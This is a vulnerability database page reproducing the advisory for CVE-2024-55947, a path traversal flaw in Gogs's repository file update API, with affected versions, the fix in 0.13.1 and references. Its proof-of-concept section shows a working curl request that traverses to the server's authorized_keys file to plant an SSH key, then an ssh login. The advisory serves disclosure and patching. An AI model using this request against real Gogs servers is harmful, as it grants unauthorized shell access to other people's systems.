CVE-2024-55947: Path Traversal in file update API in gogs
Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Published Dec 23, 2024 · Updated Apr 10, 2025
Affected packages
gogs.io/gogs
- Ecosystem
- Go
- Affected
- < 0.13.1
- Fixed in
- 0.13.1
- Check
go list -m gogs.io/gogs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
- Generate a Personal Access Tokens
- Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
-H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
-H "Content-Type: application/json" \
--data '{
"message": "an",
"content": "<base64encoded: your ssh pub key>"
}'- ssh connect to remote server
ssh -i temp git@localhost -p 10022For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Credited to ManassehZhou.
References
- https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg
- https://nvd.nist.gov/vuln/detail/CVE-2024-55947
- https://github.com/gogs/gogs/issues/7582
- https://github.com/gogs/gogs/pull/7859
- https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41
- https://github.com/advisories/GHSA-qf5v-rp47-55gg
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-52800
Gogs Vulnerable to CSRF Leading to Organization Owner Takeover
high8.8Jun 23, 2026CVE-2026-52801
Gogs has the ability to import local repositories via Mirror Settings
high8.1Jun 23, 2026CVE-2026-52802
Gogs has an Open Redirect via redirect_to
medium5.4Jun 23, 2026CVE-2026-52804
Gogs Vulnerable to Privilege Escalation via Collaboration Access Mode Validation
medium5.5Jun 23, 2026CVE-2026-52805
Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft
high8.7Jun 23, 2026CVE-2026-52806
Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge
critical9.9Jun 23, 2026
